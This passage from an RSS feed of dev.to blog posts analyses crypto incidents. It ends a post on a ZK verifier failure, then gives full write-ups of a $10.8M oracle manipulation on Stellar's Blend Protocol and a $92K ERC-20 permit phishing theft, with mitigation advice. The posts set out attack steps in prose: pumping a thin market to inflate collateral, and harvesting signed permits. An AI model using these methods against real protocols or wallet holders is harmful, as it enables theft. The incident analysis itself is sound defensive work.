&lt;p&gt;Verification keys are part of your attack surface. They are not passive configuration artifacts. If they are generated incorrectly, modified incorrectly, or embedded incorrectly, your protocol can collapse at the cryptographic layer.&lt;/p&gt;

&lt;p&gt;Never modify generated verifier contracts without rigorous review. Even small algebraic changes can destroy soundness.&lt;/p&gt;

&lt;p&gt;Verifier contracts must defensively validate inputs, enforce curve constraints, and prevent replay of proofs. Groth16 itself is malleable unless proper safeguards are applied at the application layer.&lt;/p&gt;

&lt;p&gt;If verification keys are upgradable, the upgrade path must be secured with multisig control and timelocks. An insecure initialize or update path is equivalent to handing over protocol security.&lt;/p&gt;

&lt;p&gt;Most importantly, understand that ZK security does not automatically transfer to smart contracts. The blockchain enforces bytecode, not mathematical intent.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Reflection
&lt;/h2&gt;

&lt;p&gt;The FOOM exploit is a textbook example of protocol implementation failure. The cryptographic design was sound. The deployment was not.&lt;/p&gt;

&lt;p&gt;As ZK-based systems become foundational to rollups, privacy protocols, identity systems, and governance infrastructure, verifier correctness becomes non-negotiable.&lt;/p&gt;

&lt;p&gt;The margin for error at the cryptographic boundary is effectively zero.&lt;/p&gt;

&lt;p&gt;The lesson is simple: when soundness fails, funds follow.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>$10.8M Oracle Manipulation Exploit on Stellar’s Blend Protocol</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Tue, 03 Mar 2026 11:01:34 +0000</pubDate>
      <link>https://dev.to/cryip/108m-oracle-manipulation-exploit-on-stellars-blend-protocol-3f67</link>
      <guid>https://dev.to/cryip/108m-oracle-manipulation-exploit-on-stellars-blend-protocol-3f67</guid>
      <description>&lt;p&gt;The DeFi landscape in 2026 continues to be a high-stakes battlefield. On the weekend of February 22, 2026, the Stellar-based lending platform, Blend Protocol, faced a sophisticated "Oracle Manipulation" attack. The target was the community-managed YieldBlox DAO Pool. The result? A staggering loss of approximately $10.8 million.&lt;br&gt;
As developers, we often obsess over reentrancy and access control, but this exploit proves that the Price Oracle remains the ultimate single point of failure.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Architecture of the Vulnerability
&lt;/h2&gt;

&lt;p&gt;To understand the hack, we must first understand how Blend Protocol interacts with the &lt;a href="https://stellar.org/" rel="noopener noreferrer"&gt;Stellar&lt;/a&gt; Decentralized Exchange (SDEX). Blend is a non-custodial lending protocol where users can create isolated or shared liquidity pools.&lt;/p&gt;

&lt;p&gt;The YieldBlox DAO Pool allowed for various assets to be used as collateral. One such asset was USTRY, a yield-bearing Treasury bond issued by Etherfuse.&lt;/p&gt;

&lt;p&gt;The Fatal Flaw: Spot Price Dependency&lt;br&gt;
The protocol utilized the Reflector Oracle system. In its configuration for the YieldBlox pool, the oracle was fetching the "Latest Price" (Spot Price) directly from the SDEX.&lt;/p&gt;

&lt;p&gt;In low-liquidity environments, the spot price is a "lie" that can be bought. If an asset has thin order books, a relatively small buy order can skyrocket the price perception of the entire protocol.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Execution: The 100x Pump
&lt;/h2&gt;

&lt;p&gt;The attacker followed a classic "Pump-and-Borrow" strategy. Here is the step-by-step breakdown:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Preparation: The attacker identified USTRY as an asset with extremely low liquidity on the SDEX.&lt;/li&gt;
&lt;li&gt;Manipulation: By executing a series of aggressive buy orders, the attacker artificially inflated the price of USTRY from its fair value of $1.05 to over $100.&lt;/li&gt;
&lt;li&gt;The Oracle Lag: Because the Reflector oracle reported the latest trade price without filtering for volatility or using a &lt;a href="https://en.wikipedia.org/wiki/Time-weighted_average_price" rel="noopener noreferrer"&gt;Time-Weighted Average Price&lt;/a&gt; (TWAP), it broadcasted the $100 price to the Blend Protocol as the "True Price."&lt;/li&gt;
&lt;li&gt;Collateralization: The attacker deposited a small amount of USTRY. The protocol, seeing the $100 valuation, treated this "dust" as massive collateral.&lt;/li&gt;
&lt;li&gt;The Drain: Against this fake valuation, the attacker borrowed 1 Million &lt;a href="https://defillama.com/stablecoin/usd-coin" rel="noopener noreferrer"&gt;USDC&lt;/a&gt; and 61 Million XLM.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;According to a technical breakdown shared by security researcher &lt;a href="https://x.com/pashov/status/2025938184903721015?s=20" rel="noopener noreferrer"&gt;Pashov&lt;/a&gt;, the incident was not a result of a direct smart contract vulnerability within the Blend protocol itself, but a pure economic manipulation of the oracle's price discovery.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why TWAP Matters
&lt;/h2&gt;

&lt;p&gt;For developers building on Stellar or any L1, this is a textbook case of why TWAP (Time-Weighted Average Price) is mandatory for lending markets.&lt;/p&gt;

&lt;p&gt;A TWAP calculates the average price of an asset over a specific period (e.g., 30 minutes or 1 hour). To manipulate a 30-minute TWAP, an attacker would need to sustain the manipulated price for the entire duration, which is exponentially more expensive and gives monitors time to trigger a "Circuit Breaker."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Recovery: Stellar’s Unique Safeguards
&lt;/h2&gt;

&lt;p&gt;Unlike Ethereum, where "Code is Law" often means "Gone is Gone," the Stellar ecosystem has unique governance features.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validator Intervention: Stellar’s Tier 1 validators acted with high coordination. They managed to successfully freeze approximately 48 million XLM (valued at ~$7.5M) before the attacker could bridge it out.&lt;/li&gt;
&lt;li&gt;On-Chain Negotiation: The YieldBlox Security Council, led by Script3, offered a 10% White-hat Bounty if 90% of the funds were returned, promising no legal action.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Lessons for Web3 Developers
&lt;/h2&gt;

&lt;p&gt;If you are building a DeFi protocol today, your security checklist must include these "Post-Blend" rules:&lt;br&gt;
&lt;strong&gt;Liquidity-Aware Oracles&lt;/strong&gt;&lt;br&gt;
Never pull a price for an asset without checking the Depth of the Order Book. If the trade volume is less than the potential borrow limit, that asset should not be used as collateral.&lt;br&gt;
&lt;strong&gt;Multi-Source Verification&lt;/strong&gt;&lt;br&gt;
Don't rely on a single DEX. Cross-reference SDEX prices with off-chain data (CEX) via providers like Chainlink or Pyth. If the price difference (slippage) is &amp;gt;5%, the protocol should automatically pause "Borrowing" functions.&lt;br&gt;
&lt;strong&gt;Invariant Monitoring&lt;/strong&gt;&lt;br&gt;
Set up automated bots to monitor the &lt;a href="https://defillama.com/chain/stellar" rel="noopener noreferrer"&gt;Total Value Locked&lt;/a&gt; (TVL) vs. Total Borrowed. If the ratio shifts by 20% in a single block, trigger a 6-hour "Emergency Pause."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Future of Stellar DeFi
&lt;/h2&gt;

&lt;p&gt;The Blend Protocol exploit wasn't a failure of Stellar’s Soroban smart contracts; it was a failure of Economic Risk Modeling. As we move deeper into 2026, the complexity of yield-bearing assets like USTRY will only increase.&lt;br&gt;
The core Blend protocol remains secure, but the YieldBlox incident serves as a grim reminder: In DeFi, if the oracle is wrong, the entire protocol is a donation box.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>web3</category>
      <category>blendprotocal</category>
    </item>
    <item>
      <title>Security Deep Dive: How the ERC-20 permit Function was Exploited for a $92K XAUt Theft</title>
      <dc:creator>Saravana kumar </dc:creator>
      <pubDate>Mon, 23 Feb 2026 08:27:09 +0000</pubDate>
      <link>https://dev.to/cryip/security-deep-dive-how-the-erc-20-permit-function-was-exploited-for-a-92k-xaut-theft-5a8d</link>
      <guid>https://dev.to/cryip/security-deep-dive-how-the-erc-20-permit-function-was-exploited-for-a-92k-xaut-theft-5a8d</guid>
      <description>&lt;p&gt;On February 23, 2026, a sophisticated phishing attack resulted in the loss of 17.94 XAUt (Tether Gold), valued at approximately $92,000. While many hacks involve complex smart contract bugs, this one exploited a standard feature designed for user convenience: the ERC-20 permit function (EIP-2612).&lt;/p&gt;

&lt;p&gt;The victim's wallet (0x151D5F9c...D50023) was drained in two transactions following a single malicious signature.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Technical Context: What is permit?
&lt;/h2&gt;

&lt;p&gt;Traditionally, to allow a contract to spend tokens, a user must call approve(). This is an on-chain transaction that costs gas.&lt;br&gt;
To improve UX, EIP-2612 introduced the permit function. It allows a user to sign an off-chain message (structured data) that can be submitted to the blockchain by a third party (the "relayer") to update the token allowance.&lt;br&gt;
&lt;strong&gt;The signature structure typically looks like this:&lt;/strong&gt;&lt;br&gt;
Solidity&lt;br&gt;
function permit(&lt;br&gt;
    address owner,&lt;br&gt;
    address spender,&lt;br&gt;
    uint256 value,&lt;br&gt;
    uint256 deadline,&lt;br&gt;
    uint8 v,&lt;br&gt;
    bytes32 r,&lt;br&gt;
    bytes32 s&lt;br&gt;
) external;&lt;br&gt;
&lt;strong&gt;Anatomy of the Exploit&lt;/strong&gt;&lt;br&gt;
In this specific XAUt incident, the attacker used a phishing site to trick the user into signing a permit message.&lt;br&gt;
The Phishing Trap: The user was prompted to sign a transaction that appeared benign but was actually an off-chain signature granting full allowance to the attacker's address.&lt;br&gt;
Signature Harvesting: Once the user signed, the attacker captured the v, r, s components.&lt;br&gt;
Execution: The attacker called the permit function on the XAUt contract, setting the allowance for their own address to the maximum.&lt;br&gt;
The Drain: With the allowance set, the attacker executed transferFrom to move the funds to these malicious addresses:&lt;br&gt;
0xAfb2423F447D3e16931164C9970B9741aAb1723E&lt;br&gt;
0x6eE62Ae8b3657AB1db5DE58e7410C0b77116a0B3&lt;/p&gt;

&lt;h2&gt;
  
  
  Developer Lessons: Mitigating Signature Risks
&lt;/h2&gt;

&lt;p&gt;As Web3 developers, we have a responsibility to implement safeguards:&lt;br&gt;
&lt;strong&gt;Verify Typed Data:&lt;/strong&gt; When implementing frontend signing, ensure you are using eth_signTypedData_v4 to provide users with a readable breakdown of what they are signing.&lt;br&gt;
&lt;strong&gt;Allowance Monitoring:&lt;/strong&gt; Implement real-time security alerts. Tools like GoPlus Security can help detect if a user is interacting with known malicious "Permit" harvesters.&lt;br&gt;
&lt;strong&gt;The "Rule of Four":&lt;/strong&gt; Beyond code, we must educate users:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never click unknown links.&lt;/li&gt;
&lt;li&gt;Avoid unverified software.&lt;/li&gt;
&lt;li&gt;Verify every signature detail (Spender, Value, Deadline).&lt;/li&gt;
&lt;li&gt;Never transfer to unverified addresses.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The $92K XAUt theft is a stark reminder that even "gasless" features can be weaponized. As we build more seamless experiences, security must remain the primary layer.&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>cryptocurrency</category>
      <category>ethereum</category>
      <category>security</category>
    </item>
  </channel>
</rss>
